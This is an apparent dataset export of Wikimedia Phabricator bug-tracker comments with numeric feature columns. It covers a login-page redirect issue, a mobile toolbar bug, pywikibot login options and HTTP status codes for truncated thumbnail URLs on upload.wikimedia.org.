+Its well known that Special:Search/google:foo will do the same thing (To the point where our old bugzilla install relied on this behaviour)",,,1440483996,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+508748,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,{F1497060},,,1439593678,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+109107,Beta: formatting toolbar is visible on the login dialog,"Visit http://en.m.wikipedia.beta.wmflabs.org/wiki/New_page?mobileaction=beta#/editor/0 and you'll see the formatting toolbar at the bottom of the screen.
+
+{F1495360}",Low,25.0,1439572948,1468009831.0,PHID-USER-grftjc3ekkyjf6bwlsqi,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-w5pd6fvrknpnahj6zuxe,task_description,resolved,True,c3,3,False,False,False,6,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+691166,Beta: formatting toolbar is visible on the login dialog,"Change 297995 merged by jenkins-bot:
+RIP: Remove non-VE editor with toolbar
+
+[[https://gerrit.wikimedia.org/r/297995]]",,,1468007443,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w5pd6fvrknpnahj6zuxe,task_subcomment,,True,c3,3,False,,,53,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+690992,Beta: formatting toolbar is visible on the login dialog,"Change 297995 had a related patch set uploaded (by Florianschmidtwelzow):
+RIP: Remove non-VE editor with toolbar
+
+[[https://gerrit.wikimedia.org/r/297995]]
+",,,1467990310,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w5pd6fvrknpnahj6zuxe,task_subcomment,,True,c3,3,False,,,53,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+690989,Beta: formatting toolbar is visible on the login dialog,"Ok from my side, I don't plan to work on it anymore :/",,,1467990191,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-w5pd6fvrknpnahj6zuxe,task_subcomment,,True,c3,3,True,,,53,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+690349,Beta: formatting toolbar is visible on the login dialog,I'm OK with removing it. Florian?,,,1467910111,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-w5pd6fvrknpnahj6zuxe,task_subcomment,,True,c3,3,True,,,53,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+690328,Beta: formatting toolbar is visible on the login dialog,Given this bug and the associated tech debt of having it I think this experiment should be removed if there is no intention to push it to production any time soon. What do you think @Florian and @Jdforrester-WMF  ?,,,1467909185,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-w5pd6fvrknpnahj6zuxe,task_subcomment,,True,c3,3,True,,,53,True,1,0,0,1,0,0,1,0,0,1,0,0,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,0
+510213,Beta: formatting toolbar is visible on the login dialog,"@florian want to have a look at this? it's related to your experiment.
+
+As a note for anyone having a look at this, it depends if you've been bucketed for this experiment or not.",,,1439912480,,PHID-USER-cjstd4vv3u3gq2sijr7d,False,,,PHID-TASK-w5pd6fvrknpnahj6zuxe,task_subcomment,,True,c3,3,True,,,6,True,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,1,0,1,0,0,0
+108848,login.py parameters ignored (or misleading documentation),"Introduction
+--
+
+According to ""pwb.py login -help"":
+
+   -force       Ignores if the user is already logged in, and tries to log in.
+
+   -pass        Useful in combination with -all when you have accounts for
+                several sites and use the same password for all of them.
+                Asks you for the password, then logs in on all given sites.
+
+   -pass:XXXX   Uses XXXX as password. Be careful if you use this
+                parameter because your password will be shown on your
+                screen, and will probably be saved in your command line
+                history. This is NOT RECOMMENDED for use on computers
+                where others have either physical or remote access.
+                Use -pass instead.
+
+but using ""pwb.py login -all -force -pass:xxxxxx"", yields:
+
+To force a re-login, please delete the revelant lines from '******\pywikibot.lwp' (or the entire file) and try again.
+Password for user MalafayaBot on wikiquote:ka (no characters will be shown):
+
+That is, neither it did a ""-force"" (apparently, I have to do it manually by deleting the file) nor it assumed the password I passed in the command line (it's asking me for it).
+
+
+**These unsupported options should be removed completely**
+
+What to do?
+--
+- remove `-force` and `-pass` options from documentation string
+- remove them from option handling in `main` function
+- remove warnin about unsupported `-pass` Option
+
+Important hints
+--
+- refer [[https://www.mediawiki.org/wiki/Manual:Pywikibot/Development#Guidelines | our Coding Convention Guidlines]]",Low,25.0,1439402555,1615563514.0,PHID-USER-maceogqtxg4qfaefx7wd,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-gi43rew22krl55zkqzvv,task_description,resolved,True,c3,3,False,False,False,5,True,1,0,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+1683343,login.py parameters ignored (or misleading documentation),"Change 670801 **merged** by jenkins-bot:
+[pywikibot/core@master] Removed relevant options from main function & doc string of login.py
+
+https://gerrit.wikimedia.org/r/670801",,,1615563762,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gi43rew22krl55zkqzvv,task_subcomment,,True,c3,3,False,,,297,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1682307,login.py parameters ignored (or misleading documentation),"Change 670801 had a related patch set uploaded (by Homeboy 445; owner: Homeboy 445):
+[pywikibot/core@master] Removed relevant options from main function & doc string of login.py
+
+https://gerrit.wikimedia.org/r/670801",,,1615462757,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gi43rew22krl55zkqzvv,task_subcomment,,True,c3,3,False,,,297,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+507905,login.py parameters ignored (or misleading documentation),"Concerning -force, couldn't we assume it will afect all wikis and just delete the .lwp file? But I believe this parameter is not too important. Maybe just removing it from the usage description and accepted parameters is good enough.",,,1439505930,,PHID-USER-maceogqtxg4qfaefx7wd,False,,,PHID-TASK-gi43rew22krl55zkqzvv,task_subcomment,,True,c3,3,False,,,6,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+507833,login.py parameters ignored (or misleading documentation),"The `-pass` parameter is not working as there is currently no sensible way from the script to pass the password through and thus the site thinks no password is entered ({T102477}).
+
+Not sure what we could do regarding `-force` though, to make it more usable.",,,1439501912,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-gi43rew22krl55zkqzvv,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0
+106517,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","We've had a surge of 5xx lately, investigating it I found a bunch of 501s (""method not implemented"") for truncated URLs from an external referer
+
+```
+{
+  ""hostname"": ""cp4014.ulsfo.wmnet"",
+  ""sequence"": 6204195515,
+  ""dt"": ""2015-07-22T12:34:33"",
+  ""time_firstbyte"": 0.078635931,
+  ""ip"": ""10.128.0.114"",
+  ""cache_status"": ""miss"",
+  ""http_status"": ""501"",
+  ""response_size"": 235,
+  ""http_method"": ""GET"",
+  ""uri_host"": ""upload.wikimedia.org"",
+  ""uri_path"": ""/wikipedia/th/thumb/3/36/%E0%B9%82%E0%B8%A5%E0%B9%82%E0%B8%81%E0%B9%89%E0%B8%AA%E0%B9%82%E0%B8%A1%E0%B8%AA%E0%B8%A3%E0%B8%9F%E0%B8%B8%E0%B8%95%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B8%AD%E0%B8%B2%E0%B8%A3%E0%B9%8C%E0%B8%A1%E0%B8%B5%E0%B9%88_%E0%B8%A2%E0%B8%B9%E0%B9%84%E0%B8%99%E0%B9%80%E0%B8%95%E0%B9%87%E0%B8%94.jpg/250px-%E0%B9%82%E0%B8%A5%E0%B9%82%E0%B8%81%E0%B9%89%E0%B8%AA%E0%B9%82%E0%B8%A1%E0%B8%AA%E0%B8%A3%E0%B8%9F%E0%B8%B8%E0%B8%95%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B8%AD%E0%B8%B2%E0%B8%A3%E0%B9%"",
+  ""uri_query"": """",
+  ""content_type"": ""text/html; charset=UTF-8"",
+  ""referer"": ""http://www.xn--72c0as5bd1c5b2byj.com/"",
+  ""x_forwarded_for"": ""171.96.167.13"",
+  ""user_agent"": ""Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36"",
+  ""accept_language"": ""en-US,en;q=0.8"",
+  ""x_analytics"": ""-"",
+  ""range"": ""-"",
+  ""x_cache"": ""cp1050 miss (0), cp4014 miss (0), cp4014 frontend miss (0)""
+}
+```
+
+The correct behaviour would've been to issue a 404 I think.",Low,25.0,1437569532,1634859069.0,PHID-USER-fdo23otm6ztt674vjqko,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_description,resolved,True,c3,3,True,False,False,2,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+1777849,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","The swap of #traffic for #traffic-icebox in this ticket's set of tags was based on a bulk action for all such tickets that haven't been updated in 6 months or more.  This does not imply any human judgement about the validity or importance of the task, and is simply the first step in a larger task cleanup effort.  Further manual triage and/or requests for updates will happen this month for all such tickets.  For more detail, have a look at the extended explanation on the main page of #traffic-icebox .  Thank you!",,,1630538493,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,321,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0
+1601591,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","Yeah, as mentioned in T106517#1569938, that's intentional. A 400 means the URL couldn't be resolved into a valid filename and a sensible set of render parameters. A 404 means it could be but the file doesn't exist. Arguably your first example should be a 400 as well since the file name and thumbnail name do not match but apparently that's not validated at this point.",,,1603098299,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,276,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+1601567,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","While those urls weren't my original report (which was about truncated URLs), it seems the behaviour has in the meantime changed, but not in a correct way.
+
+If I request the url in my original report adding a "".gif"" at the end, I get a 404 response.
+
+```
+curl -I 'https://upload.wikimedia.org/wikipedia/th/thumb/3/36/%E0%B9%82%E0%B8%A5%E0%B9%82%E0%B8%81%E0%B9%89%E0%B8%AA%E0%B9%82%E0%B8%A1%E0%B8%AA%E0%B8%A3%E0%B8%9F%E0%B8%B8%E0%B8%95%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B8%AD%E0%B8%B2%E0%B8%A3%E0%B9%8C%E0%B8%A1%E0%B8%B5%E0%B9%88_%E0%B8%A2%E0%B8%B9%E0%B9%84%E0%B8%99%E0%B9%80%E0%B8%95%E0%B9%87%E0%B8%94.jpg/250px-%E0%B9%82%E0%B8%A5%E0%B9%82%E0%B8%81%E0%B9%89%E0%B8%AA%E0%B9%82%E0%B8%A1%E0%B8%AA%E0%B8%A3%E0%B8%9F%E0%B8%B8%E0%B8%95%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B8%AD%E0%B8%B2%E0%B8%A3%E0%B9%.gif' 
+HTTP/2 404 
+date: Mon, 19 Oct 2020 08:21:57 GMT
+```
+
+Now let me remove `.gif` at the end, in this case I get a 400 error (""Bad Request""). 
+
+```
+curl -I 'https://upload.wikimedia.org/wikipedia/th/thumb/3/36/%E0%B9%82%E0%B8%A5%E0%B9%82%E0%B8%81%E0%B9%89%E0%B8%AA%E0%B9%82%E0%B8%A1%E0%B8%AA%E0%B8%A3%E0%B8%9F%E0%B8%B8%E0%B8%95%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B8%AD%E0%B8%B2%E0%B8%A3%E0%B9%8C%E0%B8%A1%E0%B8%B5%E0%B9%88_%E0%B8%A2%E0%B8%B9%E0%B9%84%E0%B8%99%E0%B9%80%E0%B8%95%E0%B9%87%E0%B8%94.jpg/250px-%E0%B9%82%E0%B8%A5%E0%B9%82%E0%B8%81%E0%B9%89%E0%B8%AA%E0%B9%82%E0%B8%A1%E0%B8%AA%E0%B8%A3%E0%B8%9F%E0%B8%B8%E0%B8%95%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B8%AD%E0%B8%B2%E0%B8%A3%E0%B9' 
+HTTP/2 400 
+date: Mon, 19 Oct 2020 08:22:33 GMT
+```
+
+If this is intentional, ok - I'm not sure I do agree that 400 is the correct status code for such a response, but it's by design. In that case, just resolve the task.",,,1603096195,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,276,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+1549981,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404",">>! In T106517#5666579, @ema wrote:
+> I cannot reproduce with URLs such as https://upload.wikimedia.org/wikipedia/commons/thumb/6/6b/Kitagawa_Utamaro_-_Toji_san_bijin_%28Three_Beauties_of_the_Present_Day%29From_Bijin-ga_%28Pictures_of_Beautiful_Women%29,_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg/200px-Kitagawa_Utamaro_-_Toji_san_bijin_%28Three_Beauties_of_the_Present_Day%29From_Bijin-ga_%28Pictures_of_Beautiful_Women%29,_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg
+> 
+> @Joe: can this bug be closed or is there anything left to do?
+
+@Joe: Any idea? If not I'd propose simply resolving this ticket.",,,1595532422,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,264,True,1,1,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1
+1393122,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","I cannot reproduce with URLs such as https://upload.wikimedia.org/wikipedia/commons/thumb/6/6b/Kitagawa_Utamaro_-_Toji_san_bijin_%28Three_Beauties_of_the_Present_Day%29From_Bijin-ga_%28Pictures_of_Beautiful_Women%29,_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg/200px-Kitagawa_Utamaro_-_Toji_san_bijin_%28Three_Beauties_of_the_Present_Day%29From_Bijin-ga_%28Pictures_of_Beautiful_Women%29,_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg
+
+@Joe: can this bug be closed or is there anything left to do?",,,1573820568,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,228,True,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0
+561963,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","Don't know if it's correct place to write. We assumed that we can use images directly from commons on external websites, such as Wikimedia Ukraine blog, Wiki Loves Earth/Wiki Loves Monuments blog. Maybe other sites can assume this and try to use images directly from commons too.
+
+Now I see with thumbor, hashes  URLs can change very much. Maybe it's really needed, and maybe it's not safe to assume the stable URL. 
+However for articles I don't like sites that change their URLs so references in  Wikipedia articles, other sites does not work anymore.
+
+Maybe Commons should clearly state that you can freely use images from Commons unless you insert them directly by URL?
+
+",,,1447309290,,PHID-USER-s2t4lzis4swnj7hbvkgn,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,False,,,19,True,1,0,1,0,1,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,0
+561962,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","Don't know if it's correct place to write. We assumed that we can use images directly from commons on external websites, such as Wikimedia Ukraine blog, Wiki Loves Earth/Wiki Loves Monuments blog. Maybe other sites can assume this and try to use images directly from commons too.
+
+Now I see with thumbor, hashes  URLs can change very much. Maybe it's really needed, and maybe it's not safe to assume the stable URL. 
+However for articles I don't like sites that change their URLs so references in  Wikipedia articles, other sites does not work anymore.
+
+",,,1447309174,,PHID-USER-s2t4lzis4swnj7hbvkgn,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,False,,,19,True,1,0,1,0,1,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+561961,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","Don't know if it' correct place to write. We assumed that we can use images directly from commons on external websites, such as Wikimedia Ukraine blog, Wiki Loves Earth/Wiki Loves Monuments blog. Maybe other sites can assume this and try to use images directly from commons too.
+
+Now I see with thumbor, hashes  URLs can change very much. Maybe it's really needed, and maybe it's not safe to assume the stable URL. 
+However for articles I don't like sites that change their URLs so references in  Wikipedia articles, other sites does not work anymore.
+
+",,,1447309132,,PHID-USER-s2t4lzis4swnj7hbvkgn,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,False,,,19,True,1,0,1,0,1,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+549356,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404",">>! In T106517#1722718, @Tgr wrote:
+> See [[ https://github.com/wikimedia/mediawiki/blob/a2d6ecc4539e60501803155990ec36575bdb4332/includes/filerepo/FileRepo.php#L1764 | `FileRepo::nameForThumb()` ]] for how the thumbnail file name (the part after the `/`) is generated. IIRC `abbrvThreshold` is 200 for Wikimedia sites.
+> 
+
+160 for commons at least
+https://gerrit.wikimedia.org/r/#/c/168239/1/wmf-config/filebackend.php",,,1445377415,,PHID-USER-s2t4lzis4swnj7hbvkgn,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,False,,,15,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,1,1,0,0,1,0,1,1,0,0,0,0,1,1
+546749,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404",I do show an interactive interface https://commons.wikimedia.org/wiki/Commons:WLX_Jury_Tool,,,1444893500,,PHID-USER-s2t4lzis4swnj7hbvkgn,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,False,,,15,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0
+546747,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","Yes, the imageinfo delay for the median user is around 200 ms (or was when we last measured it - that was a while ago). If you show an interactive interface, that's nontrivial; if you do some kind of batch processing there is no reason to care.",,,1444892799,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,15,True,1,0,0,0,0,1,1,0,0,1,0,1,0,0,1,1,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+546746,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","Yes, the imageinfo delay for the median user is around 200 ms. If you show an interactive interface, that's nontrivial; if you do some kind of batch processing there is no reason to care.",,,1444892659,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,15,True,1,0,0,0,0,1,1,0,0,1,0,1,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+546750,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","Just did a quick test with one thumbnail - you spend about 200ms to get uncached thumbnail, 40ms to get cached thumbnail and about 200ms to get one thumbnail URL via API. 
+https://en.wikipedia.org/w/api.php?action=query&titles=File:Albert_Einstein_Head.jpg&prop=imageinfo&&iiprop=url&iiurlwidth=220
+Doesn't seem much even though response time increases by 2-6 times.
+Another question is how many thumbnail URLs queried in a batch can give a noticeable delay",,,1444893756,,PHID-USER-s2t4lzis4swnj7hbvkgn,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,False,,,15,True,1,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+546748,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","Just did a quick test with one thumbnail - you spend about 200ms to get uncached thumbnail, 40ms to get cached thumbnail and about 200ms to get one thumbnail URL via API. 
+https://en.wikipedia.org/w/api.php?action=query&titles=File:Albert_Einstein_Head.jpg&prop=imageinfo&&iiprop=url&iiurlwidth=220
+Doesn't seem much even though response time increases by 2-5 times.
